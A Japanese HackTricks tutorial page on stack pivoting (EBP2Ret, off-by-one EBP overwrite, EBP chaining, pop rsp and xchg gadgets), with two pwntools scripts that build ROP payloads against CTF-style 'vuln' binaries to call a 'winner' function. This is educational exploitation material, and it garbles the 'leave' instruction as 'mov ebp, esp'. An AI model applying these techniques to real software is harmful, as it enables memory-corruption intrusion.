11 KiB
スタックピボッティング - EBP2Ret - EBPチェイニング
htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveでフォローする。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
基本情報
このテクニックは、**ベースポインタ(EBP)を操作して、EBPレジスタとleave; ret
**命令シーケンスを注意深く使用して複数の関数の実行をチェーンする能力を悪用します。
leave
は基本的に次の意味です:
mov ebp, esp
pop ebp
ret
EBP2Ret
このテクニックは、EBPレジスタを変更できるがEIPレジスタを直接変更する方法がない場合に特に有用です。関数が実行を終える際の挙動を利用します。
fvuln
の実行中に、スタックに偽のEBPを挿入し、そのEBPがシェルコードのアドレスが格納されているメモリ領域を指すようにすることができれば(pop
操作を考慮して4バイトを加算)、間接的にEIPを制御できます。fvuln
がリターンすると、ESPはこの作成された場所に設定され、その後のpop
操作によりESPが4減少し、実際には攻撃者によってそこに格納されたアドレスを指すようになります。
ここで2つのアドレスを知る必要があることに注意してください:ESPが移動する場所と、ESPが指すアドレスを書き込む必要がある場所です。
Exploit Construction
まず、任意のデータ/アドレスを書き込むことができるアドレスを知る必要があります。ESPはここを指し、最初のret
を実行します。
次に、任意のコードを実行するret
によって使用されるアドレスを知る必要があります。次のものを使用できます:
- 有効なONE_GADGETアドレス。
system()
のアドレスに続く4つのジャンクバイトと"/bin/sh"
のアドレス(x86ビット)。jump esp;
ガジェットのアドレス(ret2esp)と実行するシェルコード。- いくつかのROPチェーン
制御されたメモリのこのアドレスの前には、leave
命令のpop
部分のために**4
バイトが必要です。これらの4バイトを悪用して2番目の偽のEBP**を設定し、実行を継続することが可能です。
Off-By-One Exploit
このテクニックの特定のバリアントは、「Off-By-One Exploit」として知られています。EBPの最も下位バイトのみを変更できる場合に使用されます。そのような場合、**ret
**でジャンプするアドレスを格納するメモリ位置は、最初の3バイトをEBPと共有する必要があり、より制約のある条件で同様の操作が可能になります。
通常、最も遠くまでジャンプするためにバイト0x00を変更します。
また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRET SLED内部を指し、最終的なROPチェーンが実行される可能性が高くなるようにします。
EBP Chaining
したがって、スタックのEBP
エントリに制御されたアドレスを配置し、EIP
にleave; ret
のアドレスを配置することで、ESP
をスタックから制御されたEBP
アドレスに移動することができます。
今、**ESP
**は望ましいアドレスを指し、次に実行される命令はRET
です。これを悪用するために、制御されたESPの場所に次のものを配置できます:
&(次の偽のEBP)
->leave
命令のpop ebp
によって新しいEBPをロードしますsystem()
->ret
によって呼び出されます&(leave;ret)
-> systemが終了した後に呼び出され、ESPを偽のEBPに移動させて再開します&("/bin/sh")
->system
のパラメータ
基本的に、プログラムのフローを制御するために複数の偽のEBPをチェーンすることが可能です。
これはret2libのようなものですが、明らかな利点はないものの、いくつかのエッジケースで興味深いかもしれません。
さらに、ここにはこのテクニックを使用してスタックリークを行い、勝利関数を呼び出すチャレンジの例があります。これはページからの最終ペイロードです:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP might not be used
この投稿で説明されているように, バイナリがいくつかの最適化でコンパイルされている場合、EBPはESPを制御することができないため、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。
これは、バイナリが最適化されている場合、プロローグとエピローグが変更されるためです。
- 最適化されていない場合:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 最適化された:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
RSPを制御する他の方法
pop rsp
ガジェット
このページには、このテクニックを使用した例があります。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、pop rsp
ガジェットが必要で、スタックからのリークがありました。
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp ガジェット
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ここでret2espテクニックを確認してください:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
参考文献と他の例
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64ビット、ret sledで始まるropチェーンを使用したオフバイワン攻撃
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64ビット、relro、canary、nx、およびpieなし。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックのリークを取得し、WWWを使用してpieのリークを取得します。次に、WWWを使用して
.fini_array
エントリを乱用して__libc_csu_fini
を呼び出すことで永続ループを作成します(詳細はこちら)。この「永遠の」書き込みを乱用して、.bssにROPチェーンを書き込み、それを呼び出してRBPでピボットします。
ARM64
ARM64では、関数のプロローグとエピローグはSPレジスタをスタックに保存および取得しないため、デフォルトでは、スタック内のデータを上書きしてSPレジスタを制御することはできません。